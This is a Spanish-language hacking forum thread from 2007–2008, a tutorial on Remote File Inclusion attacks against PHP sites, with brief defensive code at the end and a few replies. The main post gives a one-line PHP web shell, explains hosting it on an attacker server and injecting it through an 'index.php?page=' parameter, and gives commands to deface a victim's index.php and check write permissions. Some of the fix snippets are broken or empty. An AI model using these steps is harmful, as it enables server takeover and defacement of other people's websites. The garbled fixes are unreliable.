hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
11 de Octubre de 2008, 01:58:13
Noticias: La segunda fase del torneo de matemáticas ya ha empezado!!
Para ver este enlace Registrate o Inicia Sesion
ver

+  Foros pOrtal Hacker
|-+  Hacktivismo
| |-+  Bugs y Exploits (Moderador: vengador de las sombras)
| | |-+  Manual RFI (Remote File Inclusion) Defensa - Ataque Usando Acunetix
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Manual RFI (Remote File Inclusion) Defensa - Ataque Usando Acunetix  (Leído 1280 veces)
ema87hack
NZ2
**
Desconectado Desconectado

Mensajes: 156


Argentohack Team


Ver Perfil WWW
« : 24 de Diciembre de 2007, 08:16:01 »

1- Que es RFI?

Para ver este enlace Registrate o Inicia Sesion
busqueda en google aqui

2- Que paginas tienen este bug?
ulnerabilidad existente solamente en paginas dinamicas en PHP que permite el enlace de archivos remotos situados en otros servidores a causa de una mala programación de la pagina que contiene la funcion include().
3- Que es shell?
Lo que hace la shell es un interprete de comandos, ya que existen dos shell, una que son shell de sistemas Operativos,  esta shell esta en codigo  php y nos permite ejecutar comandos en el serer victima, y como php en un lenguaje a nivel servidor los comandos se ejecutan en el. tienen que suver su shell a un servidor .. este pasara hacer servidor atacante

Porque se le llama shell a tu código?
Código: (php)
<? system($cmd); ?>

Porque lo que hace es ejecutar comandos directamente al interprete de coamndos del servidor...

Obtener una shell desde un sitio web es lo mismo a tomarlo en forma de consola, solo que estas usando el sitio web como puentre entre la consola y tu, también puede variar el permiso pero eso es otra cosa.

¿Porque se le llama shell al r57 y al c99?
Porque ambos te permiten ejecutar comandos al interprete del servidor al igual que una shell de consola, es mas.. es una shell de consola.. solo basta con ejecutar "help" para ver como se despliega la ayuda de la terminal o si es windows se verá la ayuda del cmd.exe.

La función system() equivale a la ejecución dentro de una consola... por ejemplo..
Código: (php)
<? system("dir"); ?>
Es igual a:
Código:
C:\> dir
o
Código:
root@yo:~$ dir
Es exactamente lo mismo.
system() también puede ser exec().

¿Como funciona un deface?
Lo que hace la mayoría de los defaces que contienen LFI o funcionan bajo alguna vulnerabilidad de ejecución de comandos funciona de la siguiente manera:

Código: (php)
<? system("echo hacked by yo > index.php"); ?>

Que es lo que hace??.. ejecuta el comando echo para sobreescribir el index al igual que un interprete de comandos cualquiera ya que la función system() llama directamente al interprete.


La pagina puede ser vulnerable a ataques RFI si la url es mas o menos similar a esta que tenemos aqui:

    http://[servidor_victima]/index.php?.

Para obtener la shell de la web solo necesitamos este código:

    http://[web o url de la web]/index.php?page=http://[web o servidor del atacante]/shell.txt&&cmd=ls.

Esa seria una web vulnerable.

    Ejemplo:http//ww.rush.com/index.php?

Para poder hacer un ataque RFI tendremos que hacer esto:

   
Para ver este enlace Registrate o Inicia Sesion)

Para saber si es vulnerable en el bloc de notas pegas esto

   
Código: (php)
<?

    system($cmd)

    ?>

Ahora lo guardamos con el nombre de shell.txt y lo subimos a un servidor, de preferencia que no sea php para que no se ejecute en tu servidor.

Ahora procedemos a usar esto:

   
Para ver este enlace Registrate o Inicia Sesion va el comando.)

y listo así explotaran el comando.

Un ejemplo de una shell explotada:

   
Para ver este enlace Registrate o Inicia Sesion

pwd?> nos muestra en que parte del servidor estamos por ejemplo:

    Home/host/www

Una Shell para sobreescribir un archivo es:

    /shell.txt?&cmd=Defaced By: rUsH >index.php.

Para ejecutar mas de un comando solo usen esto ?;?

    /shell.txt?&cmd=[coamando];[Comando];[Comando]

Solo prodran sobreescribir si tiene permiso, para saber en que tienes permiso para modificar usa este comando

    /shell.txt?&cmd=ls -la ?> y te mostrara los permisos con sus respectivos archivos

Para saber los datos de la DB usa este comando:

    /shell.txt?&cmd=cd

EJEMPLO PARA ACUNETIX




buscan una web victima en este caso
Para ver este enlace Registrate o Inicia Sesion


abri el scan web acunetix







bueno acá me salio este bug .. era un pagina php ejje

y lo que hice fue esto



y bueno lo pege en el navegador y...



 

Detener el ataque

Para detener este tipo de ataques, el programador debe filtrar correctamente la variable ejemplo:

Código: (php)
<?
  if ($url=="seccion")
    include ($url.".php");
?>

ó

<?
  include ("./".$url.".php");
?>
ó

Código: (php)
<?
  switch($url) {
    case 0:include ("./contenidos/estapagina.php"); break;
    case 1:include ("./contenidos/estaotra.php"); break;
    default: include("./contenidos/error.php"); break;
  }   
?>

ó

Código: (php)
<?
  $url = intval($_GET['url']);  //$url solo contendrá un valor entero.
  $pagina = "./contenidos/cont".$url.".php";
  if (file_exists($pagina))
    include($pagina);
?>

Prevenir el Ataque


Para prevenir este tipo de ataques, es posible utilizar o bien el indicador "./" para advertir que el archivo debe encontrarse en el directorio actual u otro indicador tal como "includes/". Ejemplo:

Código: (php)
<?

?>

De esta forma no podría utilizar la variable page para RFI.


Otra Solución



Otra solución más avanzada es aplicar una validación de la variable enviada como parámetro, descartando la inclusión de archivos remotos no deseados.
Código: (php)
<?

    die('Error. intento de RFI..');
else
    include ($url);
?>

Con este código evitas este tipo de ataques, que son fáciles de solucionar pero que muchos programadores no se dan cuenta o no dan importancia.



Ema87hack
En línea


que mirras?




kentshy
NZ2
**
Desconectado Desconectado

Mensajes: 111


Ver Perfil
« Respuesta #1 : 03 de Febrero de 2008, 03:20:55 »

Podrias explicar como hacer para crear un servidor web??
En línea
ziBboh
NZ2
**
Desconectado Desconectado

Mensajes: 369


ziBboh dice: Ya nacio mini-ziBboh! :)


Ver Perfil
« Respuesta #2 : 01 de Marzo de 2008, 09:36:21 »

Tu post es bueno, la verdad lo lei todo, y me parece bien explicado, aunque lo ultimo este en Wikipedia (prevencion de ataques), pero no te preocupes, muchos no buscan mas de lo debido, en fin, mi unica duda es donde puedo conseguir la version completa de Acunetix.

Saludos, nos vemos y seguire leyendo este foro para aprender mas.
En línea



ziBboh dice: NO SPAM!El número de post no te hace mejor ...Todos somos iguales!
Sknight
Colaborador
****
Desconectado Desconectado

Mensajes: 794



Ver Perfil
« Respuesta #3 : 02 de Marzo de 2008, 03:03:00 »


Para ver este enlace Registrate o Inicia Sesion
http://foro.portalhacker.net/index.php/topic,24301.0.html


Eres un moderador, y no lees los post-its del foro o.O
En línea


Para ver este enlace Registrate o Inicia Sesion



Para ver este enlace Registrate o Inicia Sesion
No Tech Hacking
|
Para ver este enlace Registrate o Inicia Sesion
You´ll never walk alone
|
Para ver este enlace Registrate o Inicia Sesion
Benchmark SuperPI


Para ver este enlace Registrate o Inicia Sesion
F.A.Q. de Hardware
|
Para ver este enlace Registrate o Inicia Sesion
HTTP Al descubierto

MatU_MalO
NZ3
***
Desconectado Desconectado

Mensajes: 689


Voila!


Ver Perfil WWW
« Respuesta #4 : 02 de Marzo de 2008, 08:00:10 »

Excelente manual!
En línea


23 de agosto de 2008, hoy hace un año, un mes, y un dia que me registre xD


Para ver este enlace Registrate o Inicia Sesion
Banner CPH!


Jajajajajaja:
Citar
<Madcore> he ido a coger una barra de pan de encima del microondas
<Madcore> y resulta que es pan de hace tiempo
<Madcore> pero la lanze contra la pared (que es de yeso)
<Madcore> el pan intacto
<Madcore> y un hueco en la pared
<Madcore> como se lo digo a mi madre ahora?
<Madcore> "mama, fue el pan"
<[KrusheR]> era un pan +3
<[KrusheR]> e hiciste un critico de impacto
Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online